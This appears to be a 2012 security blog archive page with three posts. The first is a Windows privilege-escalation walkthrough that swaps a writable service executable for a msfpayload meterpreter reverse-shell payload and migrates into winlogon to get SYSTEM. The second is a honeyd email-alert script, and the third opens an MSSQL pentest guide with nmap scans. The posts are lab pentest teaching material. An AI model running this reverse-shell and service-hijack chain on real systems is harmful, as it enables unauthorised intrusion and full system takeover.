Author Archive

windows privilege escalation via weak service permissions

Saturday, March 24th, 2012

When performing security testing on a Windows environment, or any environment for that matter, one of the things you’ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.

1. System
2. Administrator
3. Regular user

Most people would think administrator has the highest privilege but actually it’s the system account. A regular user is typically the most limited role which may be so limited that it can’t even install software. In the previous paragraph I mentioned “local windows environment” that’s because when it comes to a network or active directory environment you have to take other things into consideration. The scenario I’ll be going over involves a single install of a windows operating system.

So let’s say you’re performing  a security test on a system / environment where all you’re given is a low level privileged account but you want to try and escalate those privileges so that you can get “system” level privileges, what do you do? There are a number of routes you can take. Scott Sutherland has written a nice article on windows privilege escalation and some of the techniques that you can try. Also the guys over at insomniasec.com have put together a nice document as well that talks about windows privilege escalation. Last but certainly not least pentestmonkey has written a python script that will search the system for potential areas of privilege escalation and report back.

Obviously the technique I’m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren’t aware a windows service is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no “window” or GUI associated with a service. But a service is just like a process in the fact that it’s an executable. You can determine all the services on your machine by using the “wmic” command.

wmic service list brief

Your output should be similar to below, I’ve snipped the output for brevity.

... snip ...

1077      WMPNetworkSvc                   0          Manual     Stopped  OK

1077      WPCSvc                          0          Manual     Stopped  OK

0         WPDBusEnum                      0          Manual     Stopped  OK

0         wscsvc                          752        Auto       Running  OK

0         WSearch                         2140       Auto       Running  OK

0         wuauserv                        856        Auto       Running  OK

First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the “services” tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I’m using windows 7.

So now that you know how to determine what services are available and running on a particular machine how can we determine if they have “weak permissions”? By weak permissions I mean the folder where the service EXE is allows “write” access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I’ve got access. That’s it in a nutshell but let’s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.

On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we’ll need to do is run a couple of commands to easily pull all the permissions for all the services.

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you’ll see on the command line is below.

" Users\homer>cmd.exe /c icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

For my particular commands I’ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I’m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.

The output of the icacls command can be a little confusing but what you want to look for is if “BUILTIN\Users” have full access which will be designated as “(F)”. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.

C:\Users\homer>cmd.exe /c icacls "C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(F)

The “Source Engine” folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I’ve manually modified the permissions of the “Source Engine” folder to highlight the effect of improper permissions. So now that you’ve found a folder of a service that allows the write permission it’s time to insert / upload our malicious executable. The most convenient way I’ve found is using the msfpayload functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab backtrack which comes with everything installed and ready to go. I’m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.

root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X > exploit.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.134.135", "lport"=>"80"}
root@bt:/pentest/exploits/framework#

The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we’ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don’t have to include lport because by default it’s 4444. You don’t need to know details about meterpreter for now think of it as a windows command prompt on steroids. Finally we use the “> exploit.exe” to create the malicious executable in the current directory.

Now you have to get that exploit.exe over to your target windows machine. I’ll leave this up to you but if you run the python simple http server in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.

Next rename the original ose.exe to something different and name exploit.exe to ose.exe

So now we’ve replaced the original executable with our malicious executable next we’ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.

root@bt:/pentest/exploits/framework#./msfconsole

You should now have a “msf” console, next run the following commands.

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.134.135
lhost => 192.168.134.135
msf  exploit(handler) > set lport 80
lport => 80
msf  exploit(handler) >

At this point it’s always a good idea to do the “show options” command to make sure everything is set up correctly.

msf  exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

If everything checks out then you’re ready to go, now just type “exploit”. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

Now on the target windows machine we’ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the wmic command below to start the service.

C:\Users\homer>wmic service ose call startservice

You should see similar output when you run this command.

Executing (\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name="ose")->startservice()

Once you’ve started the service now it’s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.

[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -> 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400

meterpreter >

Anytime you get a meterpreter command prompt back that’s usually a win but wait everything is not as it seems. After about 30 – 40 seconds I see that my meterpreter session ended.

[*] Meterpreter session 1 closed.  Reason: Died

Back on the windows machine there’s also some output on the command prompt.

Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 7;
};

The return value of 7 means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don’t throw in the towel there is a way around this situation. During those 30 – 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you’ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.

wmic process list brief | find "winlogon"

Here you’ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it’s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can run the task manager and look for the user that is associated with the process. If at first you don’t see this make sure to click “show process from all users”. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.

meterpreter > migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter >

Now we’ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this point you have full control of the operating system and you can leverage all the post exploitation goodness that you can get your hands on. I don’t want to go into all the options and features of what to do once you’ve gained system access to a windows device I’ll leave that to other folks or a different discussion.

There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to “getsystem” meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I’ve described we don’t have admin privileges and our box is fully patched hence the reason I’m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no “patch” for this scenario where we can get system privileges.

Let’s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.


meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h        Help Banner.
-t <opt>  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Options 1-3 all require admin privileges, which we don’t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let’s just verify that the “getsystem” command within meterpreter will not work if we don’t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.


meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) >

Now instead of launching our malicious executable from the OSE service let’s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.


msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...

Now on our windows target machine let’s run our exploit.exe


c:\Users\homer\Desktop>exploit.exe

c:\Users\homer\Desktop>

Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.


[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -> 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400

meterpreter >

Now let’s try the “getsystem” command and see what happens.

meterpreter > getsystem

Here it just hangs and doesn’t do anything, after about a minute it will finally error out giving the following output.


meterpreter > getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter >

So the getsystem command didn’t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we’ll see the following error message.

This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don’t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The sysinternals psexec.exe is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the “-s” option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.

c:\psexec.exe -s cmd.exe

After this you’ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you’re an admin user. The “-s” option of psexec would not work as a regular user only an admin user.

To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I’m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn’t mean to go all full metal jacket there. So yes this is one technique and tricks like “getsystem” within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.

If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.

Honeypot / honeyd tutorial part 5, email alerts

Tuesday, February 14th, 2012

So this is the final article in this series of honeypots and honeyd and before I wrap it up I’ve gotta give big shout outs to Neils Provos the creator of honeyd. Neils has done an excellent job with the honeyd program and his book Virtual Honeypots is hands down the best book about honeypots and I highly recommend picking up a copy. While writing some of these tutorials Neils was even kind enough to answer some of my emails.

Up to this point you hopefully have an understanding on how to get honeyd up and running on your preferred hardware while having the ability to run multiple honeypots in either a static or dhcp environment. Now that everything is running smoothly and you’ve successfully tested all connectivity you’ll probably want to start getting alerts from some of the honeypots you’ve setup and deployed. I’ve written a small python script that accomplishes this for me so hopefully my explanation of the setup will get you receiving email alerts as well.

So out of the box honeyd doesn’t natively support getting emails sent to you when your device is port scanned. I really wanted this feature but had to figure out the best way of determining when my honeypot was being scanned. Honeyd has the option of creating a log file so my first idea was to parse this file for items of interest. Below is the command I would use to launch honeyd with the logging option.

honeyd -d -f honeyd.conf -l /tmp/logfile

You should see similar output as below after running the above command.

Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos
honeyd[12073]: started with -d -f honeyd.conf -l /tmp/logfile
Warning: Impossible SI range in Class fingerprint "IBM OS/400 V4R2M0"
Warning: Impossible SI range in Class fingerprint "Microsoft Windows NT 4.0 SP3"
honeyd[12073]: listening promiscuously on eth1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:0c:29:11:1e:53
honeyd[12073]: [eth1] trying DHCP
honeyd[12073]: Demoting process privileges to uid 65534, gid 65534
honeyd[12073]: [eth1] got DHCP offer: 192.168.134.147
honeyd[12073]: Updating ARP binding: 00:00:24:54:9e:06 -> 192.168.134.147
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -> 192.168.134.254
honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74

So this just created a honeypot with the IP address of 192.168.134.147. From another machine let’s port scan our honeypot, to keep the output simple I’m only going to scan one port.

root@tht:~# nmap -p 135 192.168.134.147

Starting Nmap 5.21 ( http://nmap.org ) at 2012-02-10 19:37 PST
Nmap scan report for 192.168.134.147
Host is up (0.0013s latency).
PORT STATE SERVICE
135/tcp open msrpc
MAC Address: 00:00:24:54:9E:06 (Connect AS)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

So port 135 is open so we know our configuration is working properly. Also honeyd will output information to the terminal letting you know that connections are being made to your honeypot. The information below was appended to the output from when we started honeyd.

1
2
3
4
5
6
7
8
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)
honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147
honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39
honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74

On line three we see a connection request from 192.168.134.143 to our honeypot at 192.168.134.147 and the “:135″ after the IP address is the destination port so from this output we can verify everything is working and we’re getting the correct response from our port scan. You also see on line six that the connection from 192.168.134.143 to 192.168.134.147 was dropped. Now let’s take a look at our log file to see what kind of information about our port scan shows up. We’ll use the tail command in Linux, by default the tail command only shows the last 10 lines of a file although this can be adjusted.

1
2
3
4
5
6
7
8
9
10
11
root@bt:~# tail /tmp/logfile
2012-02-10-22:37:42.9749 udp(17) - 192.168.134.1 61712 224.0.0.252 5355: 60
2012-02-10-22:37:48.0504 udp(17) - 192.168.134.143 44907 192.168.134.2 53: 74
2012-02-10-22:37:48.0751 udp(17) - 192.168.134.2 53 192.168.134.143 44907: 74
2012-02-10-22:37:48.0799 tcp(6) S 192.168.134.143 49677 192.168.134.147 135
2012-02-10-22:37:48.0814 tcp(6) E 192.168.134.143 49677 192.168.134.147 135: 0 0
2012-02-10-22:38:00.0874 udp(17) - 192.168.134.1 57479 224.0.0.252 5355: 55
2012-02-10-22:38:02.9374 udp(17) - 192.168.134.1 64855 224.0.0.252 5355: 55
2012-02-10-22:38:09.9825 udp(17) - 192.168.134.1 57141 224.0.0.252 5355: 57
2012-02-10-22:38:13.2114 udp(17) - 192.168.134.1 60692 224.0.0.252 5355: 56
2012-02-10-22:38:16.0751 udp(17) - 192.168.134.1 57282 224.0.0.252 5355: 56

In the log file we see very similar information on lines 5 and 6 as we did in the standard output of the terminal. Turns out there’s a third location of output that we could tap into. All processes in Linux will probably display some kind of information into one of two system log files. Either the /var/log/messages or the /var/log/syslog file. Different distros of Linux will put this information into different locations but for the backtrack distro I know it goes into /var/log/syslog. Let’s tail this file to see what kind of information it holds.

1
2
3
4
5
6
7
8
9
10
Feb 10 22:36:53 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:36:53 bt honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -> 192.168.134.254
Feb 10 22:36:53 bt honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147
Feb 10 22:36:53 bt honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06
Feb 10 22:37:48 bt honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)
Feb 10 22:37:48 bt honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147
Feb 10 22:37:48 bt honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39
Feb 10 22:37:48 bt honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)

On lines 7 and 10 we see similar information as we’ve seen in other areas. So when I decided to build an email alert script I had three sources of information I could pull from. I eventually went with combing through /var/log/syslog but I could have easily went a different route. For me /var/log/syslog seem to have more verbosity and better keywords but then again that’s just my opinion. My next step was to write a script that would parse /var/log/syslog then generate an email alert when it saw connections to my honeypot. I wrote my script in Python because I’m most familiar with that language and Python comes installed by default on most Linux distributions so whatever distro you decide to run honeyd on it’s more than likely Python will already be installed on that same operating system.

Before you implement any scripted email solution it’s a good idea to test email functionality with a small email script just to ensure you can properly communicate and receive email alerts. To do this you’ll need to know the name (FQDN) of your SMTP email server. You can usually find them in your email client. For Outlook you can go to File > Account Settings > Account Settings > Email tab > click on Change, there you’ll see the name of your organizations smtp server. Typically it’ll be something simple, if the email of your organization ends in example.com then your smtp server will likely be smtp.example.com. SMTP servers are usually configured to send emails in one of two ways, authenticated or unauthenticated. We’ll look at examples for both. The first example below is a python script of sending authentication credentials along with the request, in this particular I’m sending the alert to my gmail account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import smtplib
import time

From = 'someuser@gmail.com'
To = 'travisaltman@gmail.com'
Date = time.ctime()
Subject = 'test'
Text = 'test'

Message = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n%s\n' % (From, To, Date, Subject, Text))
username = 'someuser'
password = 'somepassword'

print ('Connecting to server')
s = smtplib.SMTP ('smtp.gmail.com')
s.starttls()
s.login(username,password)
sendMail = s.sendmail(From, To, Message)
s.quit

if sendMail:
  print ('error')
else:
  print ('great success')

Hopefully some of this script is easy to figure out, the main thing you need to be concerned with is lines 11,12, and 15. Lines 11 and 12 hold the username and password you’ll need to authenticate to your smtp server and line 15 is the name of your smtp server. More than likely your internal smtp server will not require authentication if that’s the case simply remove lines 11,12,16, and 17 from the script above. If you’re not sure first send the test email without authentication and if you get the error message “smtplib.SMTPSenderRefused” then more than likely you’ll need to provide credentials. If everything goes smooth running your test email script then you should see the output below, here I’ve named my script test.py.

root@tht:~# python test.py
Connecting to server
great success

Next you can implement the full email alerting script. Simply copy and paste the script below into your text editor of choice and name the script, I’ve named my alert.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import re
import time
import smtplib
import os

try:
  os.remove('/root/outputHoney')
except:
  pass

log = "/var/log/syslog"
output = 'outputHoney'

systemTime = time.ctime()
loggedDate = systemTime[4:10]
loggedYear = systemTime[20:24]
hostFile = '/etc/hostname'
readHostFile = open(hostFile, 'rU').readline();
extractHostName1 = readHostFile.split('"')
hostname = extractHostName1[0].rstrip()

file = open(log, 'rU').readlines();
for line in file:
if re.search(loggedDate, line):
  if re.search("192.168.1.55", line): #This if for any IP(s) you want to exclude
    ignore = ''
  elif re.search("Connection request", line):
    loggedTime = line[7:15]
    timeString = loggedDate + ' ' + loggedYear + ' ' + loggedTime
    timeTuple = time.strptime(timeString, '%b %d %Y %H:%M:%S')
    epochLogTime = int(time.mktime(timeTuple))
    epochSystemTime = int(time.time())
    if epochSystemTime <= epochLogTime+300:
      lineSplit1 = line.split('(')
      lineSplit2 = lineSplit1[1]
      lineSplit3 = lineSplit2.split(':')
      lineSplit4 = lineSplit2.split('-')
      lineSplit5 = lineSplit4[1]
      lineSplit6 = lineSplit5.split(':')
      destinationIP = lineSplit6[0]
      sourceIP = lineSplit3[0]
      srcAndDest = sourceIP + ' connected to ' + destinationIP
      file = open(output, 'w')
      file.writelines(srcAndDest)
      file.close
if os.path.exists('/root/outputHoney'):
  From = hostname+'@example.xxx'
  # To = ['user1@example.xxx','user2@example.xxx']
  To = 'travisaltman@gmail.com'
  Date = time.ctime()
  Subject = 'honeypot alert'
  username = 'someusername'
  password = 'somepassword'
  # IPSconnecting = open(output, 'r').read()
  Text = "A device at " + sourceIP + " is port scanning our honeypot at " \
  + destinationIP + ". This honeypot is being emulated on device " \
  + hostname + "."
  Message = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n%s\n' % (From, To, Date, Subject, Text))
  s = smtplib.SMTP ('smtp.gmail.com')
  s.starttls()
  s.login(username,password)
  sendMail = s.sendmail(From, To, Message)
  s.quit

I’m not a developer and I always mangle my scripts together so this isn’t the prettiest code. I’ll give you a run down of what this script does, if you have any specific questions please feel free to leave a comment I generally respond to comments fairly quickly. Basically the script combs through /var/log/syslog looking for the string “Connection request”. I’ve also confirmed that this script works just as well combing through /var/log/messages, you’ll have to verify which log your Linux distro is dumping this information. To test the script to make sure it works I would first port scan your honeypot from another device then simply run the python script to see if you get no errors and hopefully you get an email in your inbox, just run the following command after you’ve port scanned your honeypot.

python alert.py

This command should only run for maybe 10 seconds then return you to the command line. If you get any errors then you’ll have to trouble shoot the script, contact me if you need help with that. Just to give you an idea of what the email alert would look like I’ve got a screen shot of an alert I got sent to my gmail address below.

Currently the script only looks for “Connection request” in the last five minutes of log files so you’ll need to combo that up with running the script every five minutes, this can be done with Linux’s crontab. Cron can schedule programs to be run at certain frequencies. To set up alert.py to run every five minutes use the crontab command.

crontab -e

This opens up a text file in the terminal where you enter a specific syntax to tell cron which program you want to run and how often. Enter the text below to tell cron to run alert.py every five minutes.

*/5 * * * * /root/alert.py

Then use control+w to save your work and control+x to quit the text editor. So in the alert.py script the every five minutes comes from line 33 where 300 is seconds which equals five minutes so if you wanted to modify the time you could do it on that line. Another line in the script you may want to change is line 25, here you can add any IP’s that you want to ignore for whatever reason. You’ll definitely want to change line 55 that has the text of the email you’ll be receiving and customize that to your hearts content. Don’t forget to modify smtp server information and also remove or change the authentication piece as needed. Also in the screenshot you’ll notice that the device is “bt” which is short for backtrack. I implemented this feature because you may want to run honeyd on multiple devices throughout your network and you’ll want to know what device is sending you the email. The name of the device is determined in lines 17-20. You may have to modify that code because not all distros of Linux keep their hostname in that location and you may have to parse the text file that holds that hostname in a different manner. There’s more information that I could go into about the script but hopefully I’ve hit the major points if there’s something I missed or if you have any questions or feedback please leave comments.

Pen test and hack microsoft sql server (mssql)

Thursday, December 22nd, 2011

All the information I’m about to go over is nothing new, I’m just trying to organize all my notes on pen testing mssql. Hopefully my notes will help others. All the commands and instructions are Linux based so keep that in mind.

The first thing you’ll need to do is discover IP addresses that have mssql running. So you’ll accomplish this by running some type of scan. The scanner of choice is always nmap but there are some things you’ll need to consider when scanning for mssql. The default port for mssql is 1433 but just like with any service it can listen any port. So for starters it’s definitely a good idea to scan an IP range looking for port 1433.

Step 1 scan for port 1433, this can be done using the following nmap command.

root@bt:~# nmap -p 1433 192.168.134.130-140

This will only scan for port 1433 on host 130-140, your IP range will vary. My output is below.

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-07 23:38 EST
Nmap scan report for 192.168.134.131
Host is up (0.00012s latency)
PORT     STATE  SERVICE
1433/tcp closed ms-sql-s

Nmap scan report for 192.168.134.132
Host is up (0.00032s latency)
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
MAC Address: 00:0C:29:4C:37:8E (VMware)
Nmap done: 11 IP addresses (2 hosts up) scanned in 0.86 seconds

In this case the 131 host port is closed but the 132 host has port 1433 open. So great success we’ve found a box running mssql. Hold your horses because this is simply the beginning. If you’re scanning is focused then this type of scan is fine, meaning I’m not scanning thousands of hosts I’m only focused on a handful of hosts. If I’m only concerned about scanning a handful of hosts then my next step would be to determine two things.

  1. Version of the database
  2. Are there any other additional listening ports for this database

To determine the version of the database we can once again turn to nmap.

root@bt:~# nmap -p 1433 -A 192.168.134.132

The “-A” option will try and determine as much information as it can about the service on port 1433 in this case. The “-A” option will also try and determine the underlying OS running as well. Below is the output from this scan.

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-08 09:19 EST
Nmap scan report for 192.168.134.132
Host is up (0.0044s latency).
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM
MAC Address: 00:0C:29:4C:37:8E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2
Network Distance: 1 hop

Host script results:
| ms-sql-info:
|   Windows server name: WIN2003
|   [192.168.134.132\MSSQLSERVER]
|     Instance name: MSSQLSERVER
|     Version: Microsoft SQL Server 2005 RTM
|       Version number: 9.00.1399.00
|       Product: Microsoft SQL Server 2005
|       Service pack level: RTM
|       Post-SP patches applied: No
|     TCP port: 1433
|     Named pipe: \\192.168.134.132\pipe\sql\query
|_    Clustered: No

So you’ll notice in the output nmap is reporting the version of mssql to be SQL Server 2005 which is correct in this case. Knowing the version is very important because different versions of SQL Server provide different security features and also have different vulnerabilities. There are other ways of determining the version of sql server without authenticating but to me nmap is the best solution.

Next let’s talk about looking for other ports that mssql may be listening on. For multiple reasons, like load balancing, mssql can listen on multiple ports. When pen testing mssql we want to know what those ports are so we can bang against them. Depending on the configuration you can authenticate to every listening mssql port. One thing to keep in mind is that you can authenticate to mssql using your normal windows / network / active directory credentials or you can authenticate using an account that was setup on the mssql server. This is basically known as windows authentication or sql authentication. When setting up the sql server and ports the database administrator will have to configure on how this authentication takes place. The easier target is using sql credentials as those are typically configured with a weaker password policy. Now that I’ve discussed some of the issues let’s get cracking. So to determine additional ports that a database may be running on we’ll once again turn to nmap. This time I told mssql to also listen on port 1444 and 1433.

